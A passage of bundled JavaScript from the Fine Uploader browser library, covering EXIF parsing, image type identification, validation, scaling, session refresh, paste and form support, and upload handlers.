                    log(qq.format("EXIF header parse failed: '{}' ", message));
                    parser.failure(message);
                };
                getApp1Offset().then(function(app1Offset) {
                    log(qq.format("Moving forward with EXIF header parsing for '{}'", fileOrBlob.name === undefined ? "blob" : fileOrBlob.name));
                    isLittleEndian(app1Offset).then(function(littleEndian) {
                        log(qq.format("EXIF Byte order is {} endian", littleEndian ? "little" : "big"));
                        getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {
                            log(qq.format("Found {} APP1 directory entries", dirEntryCount));
                            getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {
                                var dirEntries = getDirEntries(ifdHex), tagValues = getTagValues(littleEndian, dirEntries);
                                log("Successfully parsed some EXIF tags");
                                parser.success(tagValues);
                            }, onParseFailure);
                        }, onParseFailure);
                    }, onParseFailure);
                }, onParseFailure);
                return parser;
            }
        });
        this._testing = {};
        this._testing.parseLittleEndian = parseLittleEndian;
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.Identify = function(fileOrBlob, log) {
        "use strict";
        function isIdentifiable(magicBytes, questionableBytes) {
            var identifiable = false, magicBytesEntries = [].concat(magicBytes);
            qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {
                if (questionableBytes.indexOf(magicBytesArrayEntry) === 0) {
                    identifiable = true;
                    return false;
                }
            });
            return identifiable;
        }
        qq.extend(this, {
            isPreviewable: function() {
                var self = this, identifier = new qq.Promise(), previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                log(qq.format("Attempting to determine if {} can be rendered in this browser", name));
                log("First pass: check type attribute of blob object.");
                if (this.isPreviewableSync()) {
                    log("Second pass: check for magic bytes in file header.");
                    qq.readBlobToHex(fileOrBlob, 0, 4).then(function(hex) {
                        qq.each(self.PREVIEWABLE_MIME_TYPES, function(mime, bytes) {
                            if (isIdentifiable(bytes, hex)) {
                                if (mime !== "image/tiff" || qq.supportedFeatures.tiffPreviews) {
                                    previewable = true;
                                    identifier.success(mime);
                                }
                                return false;
                            }
                        });
                        log(qq.format("'{}' is {} able to be rendered in this browser", name, previewable ? "" : "NOT"));
                        if (!previewable) {
                            identifier.failure();
                        }
                    }, function() {
                        log("Error reading file w/ name '" + name + "'.  Not able to be rendered in this browser.");
                        identifier.failure();
                    });
                } else {
                    identifier.failure();
                }
                return identifier;
            },
            isPreviewableSync: function() {
                var fileMime = fileOrBlob.type, isRecognizedImage = qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES), fileMime) >= 0, previewable = false, name = fileOrBlob.name === undefined ? "blob" : fileOrBlob.name;
                if (isRecognizedImage) {
                    if (fileMime === "image/tiff") {
                        previewable = qq.supportedFeatures.tiffPreviews;
                    } else {
                        previewable = true;
                    }
                }
                !previewable && log(name + " is not previewable in this browser per the blob's type attr");
                return previewable;
            }
        });
    };
    qq.Identify.prototype.PREVIEWABLE_MIME_TYPES = {
        "image/jpeg": "ffd8ff",
        "image/gif": "474946",
        "image/png": "89504e",
        "image/bmp": "424d",
        "image/tiff": [ "49492a00", "4d4d002a" ]
    };
    qq.ImageValidation = function(blob, log) {
        "use strict";
        function hasNonZeroLimits(limits) {
            var atLeastOne = false;
            qq.each(limits, function(limit, value) {
                if (value > 0) {
                    atLeastOne = true;
                    return false;
                }
            });
            return atLeastOne;
        }
        function getWidthHeight() {
            var sizeDetermination = new qq.Promise();
            new qq.Identify(blob, log).isPreviewable().then(function() {
                var image = new Image(), url = window.URL && window.URL.createObjectURL ? window.URL : window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;
                if (url) {
                    image.onerror = function() {
                        log("Cannot determine dimensions for image.  May be too large.", "error");
                        sizeDetermination.failure();
                    };
                    image.onload = function() {
                        sizeDetermination.success({
                            width: this.width,
                            height: this.height
                        });
                    };
                    image.src = url.createObjectURL(blob);
                } else {
                    log("No createObjectURL function available to generate image URL!", "error");
                    sizeDetermination.failure();
                }
            }, sizeDetermination.failure);
            return sizeDetermination;
        }
        function getFailingLimit(limits, dimensions) {
            var failingLimit;
            qq.each(limits, function(limitName, limitValue) {
                if (limitValue > 0) {
                    var limitMatcher = /(max|min)(Width|Height)/.exec(limitName), dimensionPropName = limitMatcher[2].charAt(0).toLowerCase() + limitMatcher[2].slice(1), actualValue = dimensions[dimensionPropName];
                    switch (limitMatcher[1]) {
                      case "min":
                        if (actualValue < limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;

                      case "max":
                        if (actualValue > limitValue) {
                            failingLimit = limitName;
                            return false;
                        }
                        break;
                    }
                }
            });
            return failingLimit;
        }
        this.validate = function(limits) {
            var validationEffort = new qq.Promise();
            log("Attempting to validate image.");
            if (hasNonZeroLimits(limits)) {
                getWidthHeight().then(function(dimensions) {
                    var failingLimit = getFailingLimit(limits, dimensions);
                    if (failingLimit) {
                        validationEffort.failure(failingLimit);
                    } else {
                        validationEffort.success();
                    }
                }, validationEffort.success);
            } else {
                validationEffort.success();
            }
            return validationEffort;
        };
    };
    qq.Session = function(spec) {
        "use strict";
        var options = {
            endpoint: null,
            params: {},
            customHeaders: {},
            cors: {},
            addFileRecord: function(sessionData) {},
            log: function(message, level) {}
        };
        qq.extend(options, spec, true);
        function isJsonResponseValid(response) {
            if (qq.isArray(response)) {
                return true;
            }
            options.log("Session response is not an array.", "error");
        }
        function handleFileItems(fileItems, success, xhrOrXdr, promise) {
            var someItemsIgnored = false;
            success = success && isJsonResponseValid(fileItems);
            if (success) {
                qq.each(fileItems, function(idx, fileItem) {
                    if (fileItem.uuid == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid UUID - ignoring.", idx), "error");
                    } else if (fileItem.name == null) {
                        someItemsIgnored = true;
                        options.log(qq.format("Session response item {} did not include a valid name - ignoring.", idx), "error");
                    } else {
                        try {
                            options.addFileRecord(fileItem);
                            return true;
                        } catch (err) {
                            someItemsIgnored = true;
                            options.log(err.message, "error");
                        }
                    }
                    return false;
                });
            }
            promise[success && !someItemsIgnored ? "success" : "failure"](fileItems, xhrOrXdr);
        }
        this.refresh = function() {
            var refreshEffort = new qq.Promise(), refreshCompleteCallback = function(response, success, xhrOrXdr) {
                handleFileItems(response, success, xhrOrXdr, refreshEffort);
            }, requesterOptions = qq.extend({}, options), requester = new qq.SessionAjaxRequester(qq.extend(requesterOptions, {
                onComplete: refreshCompleteCallback
            }));
            requester.queryServer();
            return refreshEffort;
        };
    };
    qq.SessionAjaxRequester = function(spec) {
        "use strict";
        var requester, options = {
            endpoint: null,
            customHeaders: {},
            params: {},
            cors: {
                expected: false,
                sendCredentials: false
            },
            onComplete: function(response, success, xhrOrXdr) {},
            log: function(str, level) {}
        };
        qq.extend(options, spec);
        function onComplete(id, xhrOrXdr, isError) {
            var response = null;
            if (xhrOrXdr.responseText != null) {
                try {
                    response = qq.parseJson(xhrOrXdr.responseText);
                } catch (err) {
                    options.log("Problem parsing session response: " + err.message, "error");
                    isError = true;
                }
            }
            options.onComplete(response, !isError, xhrOrXdr);
        }
        requester = qq.extend(this, new qq.AjaxRequester({
            acceptHeader: "application/json",
            validMethods: [ "GET" ],
            method: "GET",
            endpointStore: {
                get: function() {
                    return options.endpoint;
                }
            },
            customHeaders: options.customHeaders,
            log: options.log,
            onComplete: onComplete,
            cors: options.cors
        }));
        qq.extend(this, {
            queryServer: function() {
                var params = qq.extend({}, options.params);
                options.log("Session query request.");
                requester.initTransport("sessionRefresh").withParams(params).withCacheBuster().send();
            }
        });
    };
    qq.Scaler = function(spec, log) {
        "use strict";
        var self = this, customResizeFunction = spec.customResizer, includeOriginal = spec.sendOriginal, orient = spec.orient, defaultType = spec.defaultType, defaultQuality = spec.defaultQuality / 100, failedToScaleText = spec.failureText, includeExif = spec.includeExif, sizes = this._getSortedSizes(spec.sizes);
        qq.extend(this, {
            enabled: qq.supportedFeatures.scaling && sizes.length > 0,
            getFileRecords: function(originalFileUuid, originalFileName, originalBlobOrBlobData) {
                var self = this, records = [], originalBlob = originalBlobOrBlobData.blob ? originalBlobOrBlobData.blob : originalBlobOrBlobData, identifier = new qq.Identify(originalBlob, log);
                if (identifier.isPreviewableSync()) {
                    qq.each(sizes, function(idx, sizeRecord) {
                        var outputType = self._determineOutputType({
                            defaultType: defaultType,
                            requestedType: sizeRecord.type,
                            refType: originalBlob.type
                        });
                        records.push({
                            uuid: qq.getUniqueId(),
                            name: self._getName(originalFileName, {
                                name: sizeRecord.name,
                                type: outputType,
                                refType: originalBlob.type
                            }),
                            blob: new qq.BlobProxy(originalBlob, qq.bind(self._generateScaledImage, self, {
                                customResizeFunction: customResizeFunction,
                                maxSize: sizeRecord.maxSize,
                                orient: orient,
                                type: outputType,
                                quality: defaultQuality,
                                failedText: failedToScaleText,
                                includeExif: includeExif,
                                log: log
                            }))
                        });
                    });
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: includeOriginal ? originalBlob : null
                    });
                } else {
                    records.push({
                        uuid: originalFileUuid,
                        name: originalFileName,
                        size: originalBlob.size,
                        blob: originalBlob
                    });
                }
                return records;
            },
            handleNewFile: function(file, name, uuid, size, fileList, batchId, uuidParamName, api) {
                var self = this, buttonId = file.qqButtonId || file.blob && file.blob.qqButtonId, scaledIds = [], originalId = null, addFileToHandler = api.addFileToHandler, uploadData = api.uploadData, paramsStore = api.paramsStore, proxyGroupId = qq.getUniqueId();
                qq.each(self.getFileRecords(uuid, name, file), function(idx, record) {
                    var blobSize = record.size, id;
                    if (record.blob instanceof qq.BlobProxy) {
                        blobSize = -1;
                    }
                    id = uploadData.addFile({
                        uuid: record.uuid,
                        name: record.name,
                        size: blobSize,
                        batchId: batchId,
                        proxyGroupId: proxyGroupId
                    });
                    if (record.blob instanceof qq.BlobProxy) {
                        scaledIds.push(id);
                    } else {
                        originalId = id;
                    }
                    if (record.blob) {
                        addFileToHandler(id, record.blob);
                        fileList.push({
                            id: id,
                            file: record.blob
                        });
                    } else {
                        uploadData.setStatus(id, qq.status.REJECTED);
                    }
                });
                if (originalId !== null) {
                    qq.each(scaledIds, function(idx, scaledId) {
                        var params = {
                            qqparentuuid: uploadData.retrieve({
                                id: originalId
                            }).uuid,
                            qqparentsize: uploadData.retrieve({
                                id: originalId
                            }).size
                        };
                        params[uuidParamName] = uploadData.retrieve({
                            id: scaledId
                        }).uuid;
                        uploadData.setParentId(scaledId, originalId);
                        paramsStore.addReadOnly(scaledId, params);
                    });
                    if (scaledIds.length) {
                        (function() {
                            var param = {};
                            param[uuidParamName] = uploadData.retrieve({
                                id: originalId
                            }).uuid;
                            paramsStore.addReadOnly(originalId, param);
                        })();
                    }
                }
            }
        });
    };
    qq.extend(qq.Scaler.prototype, {
        scaleImage: function(id, specs, api) {
            "use strict";
            if (!qq.supportedFeatures.scaling) {
                throw new qq.Error("Scaling is not supported in this browser!");
            }
            var scalingEffort = new qq.Promise(), log = api.log, file = api.getFile(id), uploadData = api.uploadData.retrieve({
                id: id
            }), name = uploadData && uploadData.name, uuid = uploadData && uploadData.uuid, scalingOptions = {
                customResizer: specs.customResizer,
                sendOriginal: false,
                orient: specs.orient,
                defaultType: specs.type || null,
                defaultQuality: specs.quality,
                failedToScaleText: "Unable to scale",
                sizes: [ {
                    name: "",
                    maxSize: specs.maxSize
                } ]
            }, scaler = new qq.Scaler(scalingOptions, log);
            if (!qq.Scaler || !qq.supportedFeatures.imagePreviews || !file) {
                scalingEffort.failure();
                log("Could not generate requested scaled image for " + id + ".  " + "Scaling is either not possible in this browser, or the file could not be located.", "error");
            } else {
                qq.bind(function() {
                    var record = scaler.getFileRecords(uuid, name, file)[0];
                    if (record && record.blob instanceof qq.BlobProxy) {
                        record.blob.create().then(scalingEffort.success, scalingEffort.failure);
                    } else {
                        log(id + " is not a scalable image!", "error");
                        scalingEffort.failure();
                    }
                }, this)();
            }
            return scalingEffort;
        },
        _determineOutputType: function(spec) {
            "use strict";
            var requestedType = spec.requestedType, defaultType = spec.defaultType, referenceType = spec.refType;
            if (!defaultType && !requestedType) {
                if (referenceType !== "image/jpeg") {
                    return "image/png";
                }
                return referenceType;
            }
            if (!requestedType) {
                return defaultType;
            }
            if (qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES), requestedType) >= 0) {
                if (requestedType === "image/tiff") {
                    return qq.supportedFeatures.tiffPreviews ? requestedType : defaultType;
                }
                return requestedType;
            }
            return defaultType;
        },
        _getName: function(originalName, scaledVersionProperties) {
            "use strict";
            var startOfExt = originalName.lastIndexOf("."), versionType = scaledVersionProperties.type || "image/png", referenceType = scaledVersionProperties.refType, scaledName = "", scaledExt = qq.getExtension(originalName), nameAppendage = "";
            if (scaledVersionProperties.name && scaledVersionProperties.name.trim().length) {
                nameAppendage = " (" + scaledVersionProperties.name + ")";
            }
            if (startOfExt >= 0) {
                scaledName = originalName.substr(0, startOfExt);
                if (referenceType !== versionType) {
                    scaledExt = versionType.split("/")[1];
                }
                scaledName += nameAppendage + "." + scaledExt;
            } else {
                scaledName = originalName + nameAppendage;
            }
            return scaledName;
        },
        _getSortedSizes: function(sizes) {
            "use strict";
            sizes = qq.extend([], sizes);
            return sizes.sort(function(a, b) {
                if (a.maxSize > b.maxSize) {
                    return 1;
                }
                if (a.maxSize < b.maxSize) {
                    return -1;
                }
                return 0;
            });
        },
        _generateScaledImage: function(spec, sourceFile) {
            "use strict";
            var self = this, customResizeFunction = spec.customResizeFunction, log = spec.log, maxSize = spec.maxSize, orient = spec.orient, type = spec.type, quality = spec.quality, failedText = spec.failedText, includeExif = spec.includeExif && sourceFile.type === "image/jpeg" && type === "image/jpeg", scalingEffort = new qq.Promise(), imageGenerator = new qq.ImageGenerator(log), canvas = document.createElement("canvas");
            log("Attempting to generate scaled version for " + sourceFile.name);
            imageGenerator.generate(sourceFile, canvas, {
                maxSize: maxSize,
                orient: orient,
                customResizeFunction: customResizeFunction
            }).then(function() {
                var scaledImageDataUri = canvas.toDataURL(type, quality), signalSuccess = function() {
                    log("Success generating scaled version for " + sourceFile.name);
                    var blob = qq.dataUriToBlob(scaledImageDataUri);
                    scalingEffort.success(blob);
                };
                if (includeExif) {
                    self._insertExifHeader(sourceFile, scaledImageDataUri, log).then(function(scaledImageDataUriWithExif) {
                        scaledImageDataUri = scaledImageDataUriWithExif;
                        signalSuccess();
                    }, function() {
                        log("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.", "error");
                        signalSuccess();
                    });
                } else {
                    signalSuccess();
                }
            }, function() {
                log("Failed attempt to generate scaled version for " + sourceFile.name, "error");
                scalingEffort.failure(failedText);
            });
            return scalingEffort;
        },
        _insertExifHeader: function(originalImage, scaledImageDataUri, log) {
            "use strict";
            var reader = new FileReader(), insertionEffort = new qq.Promise(), originalImageDataUri = "";
            reader.onload = function() {
                originalImageDataUri = reader.result;
                insertionEffort.success(qq.ExifRestorer.restore(originalImageDataUri, scaledImageDataUri));
            };
            reader.onerror = function() {
                log("Problem reading " + originalImage.name + " during attempt to transfer EXIF data to scaled version.", "error");
                insertionEffort.failure();
            };
            reader.readAsDataURL(originalImage);
            return insertionEffort;
        },
        _dataUriToBlob: function(dataUri) {
            "use strict";
            var byteString, mimeString, arrayBuffer, intArray;
            if (dataUri.split(",")[0].indexOf("base64") >= 0) {
                byteString = atob(dataUri.split(",")[1]);
            } else {
                byteString = decodeURI(dataUri.split(",")[1]);
            }
            mimeString = dataUri.split(",")[0].split(":")[1].split(";")[0];
            arrayBuffer = new ArrayBuffer(byteString.length);
            intArray = new Uint8Array(arrayBuffer);
            qq.each(byteString, function(idx, character) {
                intArray[idx] = character.charCodeAt(0);
            });
            return this._createBlob(arrayBuffer, mimeString);
        },
        _createBlob: function(data, mime) {
            "use strict";
            var BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder || window.MSBlobBuilder, blobBuilder = BlobBuilder && new BlobBuilder();
            if (blobBuilder) {
                blobBuilder.append(data);
                return blobBuilder.getBlob(mime);
            } else {
                return new Blob([ data ], {
                    type: mime
                });
            }
        }
    });
    qq.ExifRestorer = function() {
        var ExifRestorer = {};
        ExifRestorer.KEY_STR = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";
        ExifRestorer.encode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0;
            do {
                chr1 = input[i++];
                chr2 = input[i++];
                chr3 = input[i++];
                enc1 = chr1 >> 2;
                enc2 = (chr1 & 3) << 4 | chr2 >> 4;
                enc3 = (chr2 & 15) << 2 | chr3 >> 6;
                enc4 = chr3 & 63;
                if (isNaN(chr2)) {
                    enc3 = enc4 = 64;
                } else if (isNaN(chr3)) {
                    enc4 = 64;
                }
                output = output + this.KEY_STR.charAt(enc1) + this.KEY_STR.charAt(enc2) + this.KEY_STR.charAt(enc3) + this.KEY_STR.charAt(enc4);
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return output;
        };
        ExifRestorer.restore = function(origFileBase64, resizedFileBase64) {
            var expectedBase64Header = "data:image/jpeg;base64,";
            if (!origFileBase64.match(expectedBase64Header)) {
                return resizedFileBase64;
            }
            var rawImage = this.decode64(origFileBase64.replace(expectedBase64Header, ""));
            var segments = this.slice2Segments(rawImage);
            var image = this.exifManipulation(resizedFileBase64, segments);
            return expectedBase64Header + this.encode64(image);
        };
        ExifRestorer.exifManipulation = function(resizedFileBase64, segments) {
            var exifArray = this.getExifArray(segments), newImageArray = this.insertExif(resizedFileBase64, exifArray), aBuffer = new Uint8Array(newImageArray);
            return aBuffer;
        };
        ExifRestorer.getExifArray = function(segments) {
            var seg;
            for (var x = 0; x < segments.length; x++) {
                seg = segments[x];
                if (seg[0] == 255 & seg[1] == 225) {
                    return seg;
                }
            }
            return [];
        };
        ExifRestorer.insertExif = function(resizedFileBase64, exifArray) {
            var imageData = resizedFileBase64.replace("data:image/jpeg;base64,", ""), buf = this.decode64(imageData), separatePoint = buf.indexOf(255, 3), mae = buf.slice(0, separatePoint), ato = buf.slice(separatePoint), array = mae;
            array = array.concat(exifArray);
            array = array.concat(ato);
            return array;
        };
        ExifRestorer.slice2Segments = function(rawImageArray) {
            var head = 0, segments = [];
            while (1) {
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 218) {
                    break;
                }
                if (rawImageArray[head] == 255 & rawImageArray[head + 1] == 216) {
                    head += 2;
                } else {
                    var length = rawImageArray[head + 2] * 256 + rawImageArray[head + 3], endPoint = head + length + 2, seg = rawImageArray.slice(head, endPoint);
                    segments.push(seg);
                    head = endPoint;
                }
                if (head > rawImageArray.length) {
                    break;
                }
            }
            return segments;
        };
        ExifRestorer.decode64 = function(input) {
            var output = "", chr1, chr2, chr3 = "", enc1, enc2, enc3, enc4 = "", i = 0, buf = [];
            var base64test = /[^A-Za-z0-9\+\/\=]/g;
            if (base64test.exec(input)) {
                throw new Error("There were invalid base64 characters in the input text.  " + "Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");
            }
            input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
            do {
                enc1 = this.KEY_STR.indexOf(input.charAt(i++));
                enc2 = this.KEY_STR.indexOf(input.charAt(i++));
                enc3 = this.KEY_STR.indexOf(input.charAt(i++));
                enc4 = this.KEY_STR.indexOf(input.charAt(i++));
                chr1 = enc1 << 2 | enc2 >> 4;
                chr2 = (enc2 & 15) << 4 | enc3 >> 2;
                chr3 = (enc3 & 3) << 6 | enc4;
                buf.push(chr1);
                if (enc3 != 64) {
                    buf.push(chr2);
                }
                if (enc4 != 64) {
                    buf.push(chr3);
                }
                chr1 = chr2 = chr3 = "";
                enc1 = enc2 = enc3 = enc4 = "";
            } while (i < input.length);
            return buf;
        };
        return ExifRestorer;
    }();
    qq.TotalProgress = function(callback, getSize) {
        "use strict";
        var perFileProgress = {}, totalLoaded = 0, totalSize = 0, lastLoadedSent = -1, lastTotalSent = -1, callbackProxy = function(loaded, total) {
            if (loaded !== lastLoadedSent || total !== lastTotalSent) {
                callback(loaded, total);
            }
            lastLoadedSent = loaded;
            lastTotalSent = total;
        }, noRetryableFiles = function(failed, retryable) {
            var none = true;
            qq.each(failed, function(idx, failedId) {
                if (qq.indexOf(retryable, failedId) >= 0) {
                    none = false;
                    return false;
                }
            });
            return none;
        }, onCancel = function(id) {
            updateTotalProgress(id, -1, -1);
            delete perFileProgress[id];
        }, onAllComplete = function(successful, failed, retryable) {
            if (failed.length === 0 || noRetryableFiles(failed, retryable)) {
                callbackProxy(totalSize, totalSize);
                this.reset();
            }
        }, onNew = function(id) {
            var size = getSize(id);
            if (size > 0) {
                updateTotalProgress(id, 0, size);
                perFileProgress[id] = {
                    loaded: 0,
                    total: size
                };
            }
        }, updateTotalProgress = function(id, newLoaded, newTotal) {
            var oldLoaded = perFileProgress[id] ? perFileProgress[id].loaded : 0, oldTotal = perFileProgress[id] ? perFileProgress[id].total : 0;
            if (newLoaded === -1 && newTotal === -1) {
                totalLoaded -= oldLoaded;
                totalSize -= oldTotal;
            } else {
                if (newLoaded) {
                    totalLoaded += newLoaded - oldLoaded;
                }
                if (newTotal) {
                    totalSize += newTotal - oldTotal;
                }
            }
            callbackProxy(totalLoaded, totalSize);
        };
        qq.extend(this, {
            onAllComplete: onAllComplete,
            onStatusChange: function(id, oldStatus, newStatus) {
                if (newStatus === qq.status.CANCELED || newStatus === qq.status.REJECTED) {
                    onCancel(id);
                } else if (newStatus === qq.status.SUBMITTING) {
                    onNew(id);
                }
            },
            onIndividualProgress: function(id, loaded, total) {
                updateTotalProgress(id, loaded, total);
                perFileProgress[id] = {
                    loaded: loaded,
                    total: total
                };
            },
            onNewSize: function(id) {
                onNew(id);
            },
            reset: function() {
                perFileProgress = {};
                totalLoaded = 0;
                totalSize = 0;
            }
        });
    };
    qq.PasteSupport = function(o) {
        "use strict";
        var options, detachPasteHandler;
        options = {
            targetElement: null,
            callbacks: {
                log: function(message, level) {},
                pasteReceived: function(blob) {}
            }
        };
        function isImage(item) {
            return item.type && item.type.indexOf("image/") === 0;
        }
        function registerPasteHandler() {
            detachPasteHandler = qq(options.targetElement).attach("paste", function(event) {
                var clipboardData = event.clipboardData;
                if (clipboardData) {
                    qq.each(clipboardData.items, function(idx, item) {
                        if (isImage(item)) {
                            var blob = item.getAsFile();
                            options.callbacks.pasteReceived(blob);
                        }
                    });
                }
            });
        }
        function unregisterPasteHandler() {
            if (detachPasteHandler) {
                detachPasteHandler();
            }
        }
        qq.extend(options, o);
        registerPasteHandler();
        qq.extend(this, {
            reset: function() {
                unregisterPasteHandler();
            }
        });
    };
    qq.FormSupport = function(options, startUpload, log) {
        "use strict";
        var self = this, interceptSubmit = options.interceptSubmit, formEl = options.element, autoUpload = options.autoUpload;
        qq.extend(this, {
            newEndpoint: null,
            newAutoUpload: autoUpload,
            attachedToForm: false,
            getFormInputsAsObject: function() {
                if (formEl == null) {
                    return null;
                }
                return self._form2Obj(formEl);
            }
        });
        function determineNewEndpoint(formEl) {
            if (formEl.getAttribute("action")) {
                self.newEndpoint = formEl.getAttribute("action");
            }
        }
        function validateForm(formEl, nativeSubmit) {
            if (formEl.checkValidity && !formEl.checkValidity()) {
                log("Form did not pass validation checks - will not upload.", "error");
                nativeSubmit();
            } else {
                return true;
            }
        }
        function maybeUploadOnSubmit(formEl) {
            var nativeSubmit = formEl.submit;
            qq(formEl).attach("submit", function(event) {
                event = event || window.event;
                if (event.preventDefault) {
                    event.preventDefault();
                } else {
                    event.returnValue = false;
                }
                validateForm(formEl, nativeSubmit) && startUpload();
            });
            formEl.submit = function() {
                validateForm(formEl, nativeSubmit) && startUpload();
            };
        }
        function determineFormEl(formEl) {
            if (formEl) {
                if (qq.isString(formEl)) {
                    formEl = document.getElementById(formEl);
                }
                if (formEl) {
                    log("Attaching to form element.");
                    determineNewEndpoint(formEl);
                    interceptSubmit && maybeUploadOnSubmit(formEl);
                }
            }
            return formEl;
        }
        formEl = determineFormEl(formEl);
        this.attachedToForm = !!formEl;
    };
    qq.extend(qq.FormSupport.prototype, {
        _form2Obj: function(form) {
            "use strict";
            var obj = {}, notIrrelevantType = function(type) {
                var irrelevantTypes = [ "button", "image", "reset", "submit" ];
                return qq.indexOf(irrelevantTypes, type.toLowerCase()) < 0;
            }, radioOrCheckbox = function(type) {
                return qq.indexOf([ "checkbox", "radio" ], type.toLowerCase()) >= 0;
            }, ignoreValue = function(el) {
                if (radioOrCheckbox(el.type) && !el.checked) {
                    return true;
                }
                return el.disabled && el.type.toLowerCase() !== "hidden";
            }, selectValue = function(select) {
                var value = null;
                qq.each(qq(select).children(), function(idx, child) {
                    if (child.tagName.toLowerCase() === "option" && child.selected) {
                        value = child.value;
                        return false;
                    }
                });
                return value;
            };
            qq.each(form.elements, function(idx, el) {
                if ((qq.isInput(el, true) || el.tagName.toLowerCase() === "textarea") && notIrrelevantType(el.type) && !ignoreValue(el)) {
                    obj[el.name] = el.value;
                } else if (el.tagName.toLowerCase() === "select" && !ignoreValue(el)) {
                    var value = selectValue(el);
                    if (value !== null) {
                        obj[el.name] = value;
                    }
                }
            });
            return obj;
        }
    });
    qq.traditional = qq.traditional || {};
    qq.traditional.FormUploadHandler = function(options, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getUuid = proxy.getUuid, log = proxy.log;
        function getIframeContentJson(id, iframe) {
            var response, doc, innerHtml;
            try {
                doc = iframe.contentDocument || iframe.contentWindow.document;
                innerHtml = doc.body.innerHTML;
                log("converting iframe's innerHTML to JSON");
                log("innerHTML = " + innerHtml);
                if (innerHtml && innerHtml.match(/^<pre/i)) {
                    innerHtml = doc.body.firstChild.firstChild.nodeValue;
                }
                response = handler._parseJsonResponse(innerHtml);
            } catch (error) {
                log("Error when attempting to parse form upload response (" + error.message + ")", "error");
                response = {
                    success: false
                };
            }
            return response;
        }
        function createForm(id, iframe) {
            var params = options.paramsStore.get(id), method = options.method.toLowerCase() === "get" ? "GET" : "POST", endpoint = options.endpointStore.get(id), name = getName(id);
            params[options.uuidName] = getUuid(id);
            params[options.filenameParam] = name;
            return handler._initFormForUpload({
                method: method,
                endpoint: endpoint,
                params: params,
                paramsInBody: options.paramsInBody,
                targetName: iframe.name
            });
        }
        this.uploadFile = function(id) {
            var input = handler.getInput(id), iframe = handler._createIframe(id), promise = new qq.Promise(), form;
            form = createForm(id, iframe);
            form.appendChild(input);
            handler._attachLoadEvent(iframe, function(responseFromMessage) {
                log("iframe loaded");
                var response = responseFromMessage ? responseFromMessage : getIframeContentJson(id, iframe);
                handler._detachLoadEvent(id);
                if (!options.cors.expected) {
                    qq(iframe).remove();
                }
                if (response.success) {
                    promise.success(response);
                } else {
                    promise.failure(response);
                }
            });
            log("Sending upload request for " + id);
            form.submit();
            qq(form).remove();
            return promise;
        };
        qq.extend(this, new qq.FormUploadHandler({
            options: {
                isCors: options.cors.expected,
                inputName: options.inputName
            },
            proxy: {
                onCancel: options.onCancel,
                getName: getName,
                getUuid: getUuid,
                log: log
            }
        }));
    };
    qq.traditional = qq.traditional || {};
    qq.traditional.XhrUploadHandler = function(spec, proxy) {
        "use strict";
        var handler = this, getName = proxy.getName, getSize = proxy.getSize, getUuid = proxy.getUuid, log = proxy.log, multipart = spec.forceMultipart || spec.paramsInBody, addChunkingSpecificParams = function(id, params, chunkData) {
            var size = getSize(id), name = getName(id);
            params[spec.chunking.paramNames.partIndex] = chunkData.part;
            params[spec.chunking.paramNames.partByteOffset] = chunkData.start;
            params[spec.chunking.paramNames.chunkSize] = chunkData.size;
            params[spec.chunking.paramNames.totalParts] = chunkData.count;
